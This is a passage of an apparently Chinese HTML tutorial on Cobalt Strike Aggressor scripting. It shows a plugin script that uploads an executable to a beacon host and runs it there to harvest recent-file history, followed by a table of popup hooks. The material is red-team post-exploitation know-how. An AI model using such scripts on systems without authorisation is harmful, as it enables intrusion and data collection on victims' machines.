238);white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">实例分析</span></h2><p cid="n140" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">最后简单看一个实例，调用某程序上传到目标上并执行某命令，算是比较常见的需求了</span></p><pre spellcheck="false" lang="perl" cid="n141" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(85, 85, 85);">https</span>:<span style="box-sizing: border-box;color: rgb(152, 26, 26);">//</span><span style="box-sizing: border-box;color: rgb(85, 85, 85);">github</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);">.</span><span style="box-sizing: border-box;color: rgb(85, 85, 85);">com</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);">/</span><span style="box-sizing: border-box;color: rgb(17, 102, 68);">422926799</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);">/</span><span style="box-sizing: border-box;color: rgb(85, 85, 85);">csplugin</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);">/</span><span style="box-sizing: border-box;color: rgb(85, 85, 85);">blob</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);">/</span><span style="box-sizing: border-box;color: rgb(85, 85, 85);">master</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);">/</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">%E5%8F%96%E8%AF%81</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);">/</span><span style="box-sizing: border-box;color: rgb(85, 85, 85);">qz</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);">.</span><span style="box-sizing: border-box;color: rgb(85, 85, 85);">cna</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(119, 0, 136);">sub</span> <span style="box-sizing: border-box;color: rgb(85, 85, 85);">recentqueryfunc</span>{</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">$path</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> <span style="box-sizing: border-box;color: rgb(85, 85, 85);">script_resource</span>(<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;openfilehistory.exe&#34;</span>);</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(85, 85, 85);">bupload</span>(<span style="box-sizing: border-box;color: rgb(0, 85, 170);">$3</span>[<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#39;bid&#39;</span>], <span style="box-sizing: border-box;color: rgb(0, 0, 0);">$path</span>);</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(85, 85, 85);">bshell</span>(<span style="box-sizing: border-box;color: rgb(0, 85, 170);">$3</span>[<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#39;bid&#39;</span>], <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;openfilehistory.exe $3[&#39;username&#39;]&#34;</span>);</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">}</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(119, 0, 136);">sub</span> <span style="box-sizing: border-box;color: rgb(85, 85, 85);">recentquery</span>{</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">$dialog</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> <span style="box-sizing: border-box;color: rgb(85, 85, 85);">dialog</span>(<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;最近使用痕迹查询&#34;</span>, <span style="box-sizing: border-box;color: rgb(152, 26, 26);">%</span>(<span style="box-sizing: border-box;color: rgb(85, 85, 85);">username</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=&gt;</span> <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;Administrator&#34;</span>, <span style="box-sizing: border-box;color: rgb(85, 85, 85);">bid</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=&gt;</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">$id</span>), <span style="box-sizing: border-box;color: rgb(0, 0, 0);">&amp;recentqueryfunc</span>);</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(85, 85, 85);">dialog_description</span>(<span style="box-sizing: border-box;color: rgb(0, 0, 0);">$dialog</span>, <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;要查询的用户名输入&#34;</span>);</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(85, 85, 85);">drow_text</span>(<span style="box-sizing: border-box;color: rgb(0, 0, 0);">$dialog</span>, <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;username&#34;</span>, <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;USERNAME:&#34;</span>);</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(85, 85, 85);">dbutton_action</span>(<span style="box-sizing: border-box;color: rgb(0, 0, 0);">$dialog</span>, <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;run&#34;</span>);</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(85, 85, 85);">dialog_show</span>(<span style="box-sizing: border-box;color: rgb(0, 0, 0);">$dialog</span>);</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">}</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(85, 85, 85);">popup</span> <span style="box-sizing: border-box;color: rgb(85, 85, 85);">beacon_bottom</span> {</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(85, 85, 85);">menu</span> <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;windows取证&#34;</span>{</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">$bid</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> <span style="box-sizing: border-box;color: rgb(0, 85, 170);">$1</span>; </span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(85, 85, 85);">item</span> <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;最近使用痕迹&#34;</span>{</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(119, 0, 136);">foreach</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">$id</span> (<span style="box-sizing: border-box;color: rgb(0, 0, 0);">$bid</span>){</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(85, 85, 85);">recentquery</span>(<span style="box-sizing: border-box;color: rgb(0, 0, 0);">$id</span>)</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span>}</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span>}</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">}</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">}</span></pre><p cid="n142" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">这里的bid就是我们的beacon id，原因是cs hook了不同的对象弹出并提供了参数变量</span></p><p cid="n143" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">具体看这个表格</span></p><figure cid="n144" mdtype="table" style="box-sizing: border-box;margin-top: 1.2em;margin-bottom: 1.2em;overflow-x: auto;cursor: default;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;white-space: normal;"><table width="750"><thead style="box-sizing: border-box;break-inside: avoid;break-after: auto;background-color: rgb(248, 248, 248);"><tr cid="n145" mdtype="table_row" style="box-sizing: border-box;break-inside: avoid;break-after: auto;border-width: 1px;border-style: solid;border-color: rgb(223, 226, 229);"><th style="box-sizing: border-box;padding: 6px 13px;border-top-width: 1px;border-bottom: 0px;border-top-color: rgb(223, 226, 229);border-right-color: rgb(223, 226, 229);border-left-color: rgb(223, 226, 229);text-align: left;"><span cid="n146" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 165.062px;min-height: 10px;"><span md-inline="plain" style="box-sizing: border-box;">Hook</span></span></th><th style="box-sizing: border-box;padding: 6px 13px;border-top-width: 1px;border-bottom: 0px;border-top-color: rgb(223, 226, 229);border-right-color: rgb(223, 226, 229);border-left-color: rgb(223, 226, 229);text-align: left;"><span cid="n147" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 189.469px;min-height: 10px;"><span md-inline="plain" style="box-sizing: border-box;">Where</span></span></th><th style="box-sizing: border-box;padding: 6px 13px;border-top-width: 1px;border-bottom: 0px;border-top-color: rgb(223, 226, 229);border-right-color: rgb(223, 226, 229);border-left-color: rgb(223, 226, 229);text-align: left;"><span cid="n148" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 313.469px;min-height: 10px;"><span md-inline="plain" style="box-sizing: border-box;">Arguments</span></span></th></tr></thead><tbody style="box-sizing: border-box;"><tr cid="n149" mdtype="table_row" style="box-sizing: border-box;break-inside: avoid;break-after: auto;border-width: 1px;border-style: solid;border-color: rgb(223, 226, 229);"><td style="box-sizing: border-box;padding: 6px 13px;border-color: rgb(223, 226, 229);min-width: 32px;"><span cid="n150" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 165.062px;min-height: 10px;"><span md-inline="plain" style="box-sizing: border-box;">aggressor</span></span></td><td style="box-sizing: border-box;padding: 6px 13px;border-color: rgb(223, 226, 229);min-width: 32px;"><span cid="n151" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 189.469px;min-height: 10px;"><span md-inline="strong" style="box-sizing: border-box;"><strong style="box-sizing: border-box;">Cobalt Strike</strong></span><span md-inline="plain" style="box-sizing: border-box;"> Menu</span></span></td><td style="box-sizing: border-box;padding: 6px 13px;border-color: rgb(223, 226, 229);min-width: 32px;"></td></tr><tr cid="n153" mdtype="table_row" style="box-sizing: border-box;break-inside: avoid;break-after: auto;border-width: 1px;border-style: solid;border-color: rgb(223, 226, 229);background-color: rgb(248, 248, 248);"><td style="box-sizing: border-box;padding: 6px 13px;border-color: rgb(223, 226, 229);min-width: 32px;"><span cid="n154" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 165.062px;min-height: 10px;"><span md-inline="plain" style="box-sizing: border-box;">attacks</span></span></td><td style="box-sizing: border-box;padding: 6px 13px;border-color: rgb(223, 226, 229);min-width: 32px;"><span cid="n155" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 189.469px;min-height: 10px;"><span md-inline="strong" style="box-sizing: border-box;"><strong style="box-sizing: border-box;">Attacks</strong></span><span md-inline="plain" style="box-sizing: border-box;"> Menu</span></span></td><td style="box-sizing: border-box;padding: 6px 13px;border-color: rgb(223, 226, 229);min-width: 32px;"></td></tr><tr cid="n157" mdtype="table_row" style="box-sizing: border-box;break-inside: avoid;break-after: auto;border-width: 1px;border-style: solid;border-color: rgb(223, 226, 229);"><td style="box-sizing: border-box;padding: 6px 13px;border-color: rgb(223, 226, 229);min-width: 32px;"><span cid="n158" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 165.062px;min-height: 10px;"><span md-inline="plain" style="box-sizing: border-box;">beacon</span></span></td><td style="box-sizing: border-box;padding: 6px 13px;border-color: rgb(223, 226, 229);min-width: 32px;"><span cid="n159" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 189.469px;min-height: 10px;"><span md-inline="plain" style="box-sizing: border-box;">[session]</span></span></td><td style="box-sizing: border-box;padding: 6px 13px;border-color: rgb(223, 226, 229);min-width: 32px;"><span cid="n160" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 313.469px;min-height: 10px;"><span md-inline="plain" style="box-sizing: border-box;">$1 = selected beacon IDs (array)</span></span></td></tr><tr cid="n161" mdtype="table_row" style="box-sizing: border-box;break-inside: avoid;break-after: auto;border-width: 1px;border-style: solid;border-color: rgb(223, 226, 229);background-color: rgb(248, 248, 248);"><td style="box-sizing: border-box;padding: 6px 13px;border-color: rgb(223, 226, 229);min-width: 32px;"><span cid="n162" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 165.062px;min-height: 10px;"><span md-inline="plain" style="box-sizing: border-box;">beacon_top</span></span></td><td style="box-sizing: border-box;padding: 6px 13px;border-color: rgb(223, 226, 229);min-width: 32px;"><span cid="n163" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 189.469px;min-height: 10px;"><span md-inline="plain" style="box-sizing: border-box;">[session]</span></span></td><td style="box-sizing: border-box;padding: 6px 13px;border-color: rgb(223, 226, 229);min-width: 32px;"><span cid="n164" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 313.469px;min-height: 10px;"><span md-inline="plain" style="box-sizing: border-box;">$1 = selected beacon IDs (array)</span></span></td></tr><tr cid="n165" mdtype="table_row" style="box-sizing: border-box;break-inside: avoid;break-after: auto;border-width: 1px;border-style: solid;border-color: rgb(223, 226, 229);"><td style="box-sizing: border-box;padding: 6px 13px;border-color: rgb(223, 226, 229);min-width: 32px;"><span cid="n166" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 165.062px;min-height: 10px;"><span md-inline="plain" style="box-sizing: border-box;">beacon_bottom</span></span></td><td style="box-sizing: border-box;padding: 6px 13px;border-color: rgb(223, 226, 229);min-width: 32px;"><span cid="n167" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 189.469px;min-height: 10px;"><span md-inline="plain" style="box-sizing: border-box;">[session]</span></span></td><td style="box-sizing: border-box;padding: 6px 13px;border-color: rgb(223, 226, 229);min-width: 32px;"><span cid="n168" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 313.469px;min-height: 10px;"><span md-inline="plain" style="box-sizing: border-box;">$1 = selected beacon IDs (array)</span></span></td></tr><tr cid="n169" mdtype="table_row" style="box-sizing: border-box;break-inside: avoid;break-after: auto;border-width: 1px;border-style: solid;border-color: rgb(223, 226, 229);background-color: rgb(248, 248, 248);"><td style="box-sizing: border-box;padding: 6px 13px;border-color: rgb(223, 226, 229);min-width: 32px;"><span cid="n170" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 165.062px;min-height: 10px;"><span md-inline="plain" style="box-sizing: border-box;">credentials</span></span></td><td style="box-sizing: border-box;padding: 6px 13px;border-color: rgb(223, 226, 229);min-width: 32px;"><span cid="n171" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 189.469px;min-height: 10px;"><span md-inline="plain" style="box-sizing: border-box;">Credential Browser</span></span></td><td style="box-sizing: border-box;padding: 6px 13px;border-color: rgb(223, 226, 229);min-width: 32px;"><span cid="n172" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 313.469px;min-height: 10px;"><span md-inline="plain" style="box-sizing: border-box;">$1 = selected credential rows (array of hashes)</span></span></td></tr><tr cid="n173" mdtype="table_row" style="box-sizing: border-box;break-inside: avoid;break-after: auto;border-width: 1px;border-style: solid;border-color: rgb(223, 226, 229);"><td style="box-sizing: border-box;padding: 6px 13px;border-color: rgb(223, 226, 229);min-width: 32px;"><span cid="n174" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 165.062px;min-height: 10px;"><span md-inline="plain" style="box-sizing: border-box;">filebrowser</span></span></td><td style="box-sizing: border-box;padding: 6px 13px;border-color: rgb(223, 226, 229);min-width: 32px;"><span cid="n175" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 189.469px;min-height: 10px;"><span md-inline="plain" style="box-sizing: border-box;">[file in file browser]</span></span></td><td style="box-sizing: border-box;padding: 6px 13px;border-color: rgb(223, 226, 229);min-width: 32px;"><span cid="n176" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 313.469px;min-height: 10px;"><span md-inline="plain" style="box-sizing: border-box;">$1 = beacon ID, $2 = folder, $3 = selected files (array)</span></span></td></tr><tr cid="n177" mdtype="table_row" style="box-sizing: border-box;break-inside: avoid;break-after: auto;border-width: 1px;border-style: solid;border-color: rgb(223, 226, 229);background-color: rgb(248, 248, 248);"><td style="box-sizing: border-box;padding: 6px 13px;border-color: rgb(223, 226, 229);min-width: 32px;"><span cid="n178" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 165.062px;min-height: 10px;"><span md-inline="plain" style="box-sizing: border-box;">help</span></span></td><td style="box-sizing: border-box;padding: 6px 13px;border-color: rgb(223, 226, 229);min-width: 32px;"><span cid="n179" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 189.469px;min-height: 10px;"><span md-inline="strong" style="box-sizing: border-box;"><strong style="box-sizing: border-box;">Help</strong></span><span md-inline="plain" style="box-sizing: border-box;"> Menu</span></span></td><td style="box-sizing: border-box;padding: 6px 13px;border-color: rgb(223, 226, 229);min-width: 32px;"></td></tr><tr cid="n181" mdtype="table_row" style="box-sizing: border-box;break-inside: avoid;break-after: auto;border-width: 1px;border-style: solid;border-color: rgb(223, 226, 229);"><td style="box-sizing: border-box;padding: 6px 13px;border-color: rgb(223, 226, 229);min-width: 32px;"><span cid="n182" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 165.062px;min-height: 10px;"><span md-inline="plain" style="box-sizing: border-box;">listeners</span></span></td><td style="box-sizing: border-box;padding: 6px 13px;border-color: rgb(223, 226, 229);min-width: 32px;"><span cid="n183" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 189.469px;min-height: 10px;"><span md-inline="plain" style="box-sizing: border-box;">Listeners table</span></span></td><td style="box-sizing: border-box;padding: 6px 13px;border-color: rgb(223, 226, 229);min-width: 32px;"><span cid="n184" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 313.469px;min-height: 10px;"><span md-inline="plain" style="box-sizing: border-box;">$1 = selected listener names (array)</span></span></td></tr><tr cid="n185" mdtype="table_row" style="box-sizing: border-box;break-inside: avoid;break-after: auto;border-width: 1px;border-style: solid;border-color: rgb(223, 226, 229);background-color: rgb(248, 248, 248);"><td style="box-sizing: border-box;padding: 6px 13px;border-color: rgb(223, 226, 229);min-width: 32px;"><span cid="n186" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 165.062px;min-height: 10px;"><span md-inline="plain" style="box-sizing: border-box;">pgraph</span></span></td><td style="box-sizing: border-box;padding: 6px 13px;border-color: rgb(223, 226, 229);min-width: 32px;"><span cid="n187" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 189.469px;min-height: 10px;"><span md-inline="plain" style="box-sizing: border-box;">[pivot graph]</span></span></td><td style="box-sizing: border-box;padding: 6px 13px;border-color: rgb(223, 226, 229);min-width: 32px;"></td></tr><tr cid="n189" mdtype="table_row" style="box-sizing: border-box;break-inside: avoid;break-after: auto;border-width: 1px;border-style: solid;border-color: rgb(223, 226, 229);"><td style="box-sizing: border-box;padding: 6px 13px;border-color: rgb(223, 226, 229);min-width: 32px;"><span cid="n190" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 165.062px;min-height: 10px;"><span md-inline="plain" style="box-sizing: border-box;">processbrowser</span></span></td><td style="box-sizing: border-box;padding: 6px 13px;border-color: rgb(223, 226, 229);min-width: 32px;"><span cid="n191" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 189.469px;min-height: 10px;"><span md-inline="plain" style="box-sizing: border-box;">Process Browser</span></span></td><td style="box-sizing: border-box;padding: 6px 13px;border-color: rgb(223, 226, 229);min-width: 32px;"><span cid="n192" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 313.469px;min-height: 10px;"><span md-inline="plain" style="box-sizing: border-box;">$1 = Beacon ID, $2 = selected processes (array)</span></span></td></tr><tr cid="n193" mdtype="table_row" style="box-sizing: border-box;break-inside: avoid;break-after: auto;border-width: 1px;border-style: solid;border-color: rgb(223, 226, 229);background-color: rgb(248, 248, 248);"><td style="box-sizing: border-box;padding: 6px 13px;border-color: rgb(223, 226, 229);min-width: 32px;"><span cid="n194" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 165.062px;min-height: 10px;"><span md-inline="plain" style="box-sizing: border-box;">processbrowser_multi</span></span></td><td style="box-sizing: border-box;padding: 6px 13px;border-color: rgb(223, 226, 229);min-width: 32px;"><span cid="n195" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 189.469px;min-height: 10px;"><span md-inline="plain" style="box-sizing: border-box;">Multi-Session Process Browser</span></span></td><td style="box-sizing: border-box;padding: 6px 13px;border-color: rgb(223, 226, 229);min-width: 32px;"><span cid="n196" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 313.469px;min-height: 10px;"><span md-inline="plain" style="box-sizing: border-box;">$1 = selected processes (array)</span></span></td></tr><tr cid="n197" mdtype="table_row" style="box-sizing: border-box;break-inside: avoid;break-after: auto;border-width: 1px;border-style: solid;border-color: rgb(223, 226, 229);"><td style="box-sizing: border-box;padding: 6px 13px;border-color: rgb(223, 226, 229);min-width: 32px;"><span cid="n198" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 165.062px;min-height: 10px;"><span md-inline="plain" style="box-sizing: border-box;">reporting</span></span></td><td style="box-sizing: border-box;padding: 6px 13px;border-color: rgb(223, 226, 229);min-width: 32px;"><span cid="n199" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 189.469px;min-height: 10px;"><span md-inline="strong" style="box-sizing: border-box;"><strong style="box-sizing: border-box;">Reporting</strong></span><span md-inline="plain" style="box-sizing: border-box;"> Menu</span></span></td><td style="box-sizing: border-box;padding: 6px 13px;border-color: rgb(223, 226, 229);min-width: 32px;"></td></tr><tr cid="n201" mdtype="table_row" style="box-sizing: border-box;break-inside: avoid;break-after: auto;border-width: 1px;border-style: solid;border-color: rgb(223, 226, 229);background-color: rgb(248, 248, 248);"><td style="box-sizing: border-box;padding: 6px 13px;border-color: rgb(223, 226, 229);min-width: 32px;"><span cid="n202" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 165.062px;min-height: 10px;"><span md-inline="plain" style="box-sizing: border-box;">ssh</span></span></td><td style="box-sizing: border-box;padding: 6px 13px;border-color: rgb(223, 226, 229);min-width: 32px;"><span cid="n203" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 189.469px;min-height: 10px;"><span md-inline="plain" style="box-sizing: border-box;">[SSH session]</span></span></td><td style="box-sizing: border-box;padding: 6px 13px;border-color: rgb(223, 226, 229);min-width: 32px;"><span cid="n204" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 313.469px;min-height: 10px;"><span md-inline="plain" style="box-sizing: border-box;">$1 = selected session IDs (array)</span></span></td></tr><tr cid="n205" mdtype="table_row" style="box-sizing: border-box;break-inside: avoid;break-after: auto;border-width: 1px;border-style: solid;border-color: rgb(223, 226, 229);"><td style="box-sizing: border-box;padding: 6px 13px;border-color: rgb(223, 226, 229);min-width: 32px;"><span cid="n206" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 165.062px;min-height: 10px;"><span md-inline="plain" style="box-sizing: border-box;">targets</span></span></td><td style="box-sizing: border-box;padding: 6px 13px;border-color: rgb(223, 226, 229);min-width: 32px;"><span cid="n207" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 189.469px;min-height: 10px;"><span md-inline="plain" style="box-sizing: border-box;">[host]</span></span></td><td style="box-sizing: border-box;padding: 6px 13px;border-color: rgb(223, 226, 229);min-width: 32px;"><span cid="n208" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 313.469px;min-height: 10px;"><span md-inline="plain" style="box-sizing: border-box;">$1 = selected hosts (array)</span></span></td></tr><tr cid="n209" mdtype="table_row" style="box-sizing: border-box;break-inside: avoid;break-after: auto;border-width: 1px;border-style: solid;border-color: rgb(223, 226, 229);background-color: rgb(248, 248, 248);"><td style="box-sizing: border-box;padding: 6px 13px;border-color: rgb(223, 226, 229);min-width: 32px;"><span cid="n210" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 165.062px;min-height: 10px;"><span md-inline="plain" style="box-sizing: border-box;">targets_other</span></span></td><td style="box-sizing: border-box;padding: 6px 13px;border-color: rgb(223, 226, 229);min-width: 32px;"><span cid="n211" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 189.469px;min-height: 10px;"><span md-inline="plain" style="box-sizing: border-box;">[host]</span></span></td><td style="box-sizing: border-box;padding: 6px 13px;border-color: rgb(223, 226, 229);min-width: 32px;"><span cid="n212" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 313.469px;min-height: 10px;"><span md-inline="plain" style="box-sizing: border-box;">$1 = selected hosts 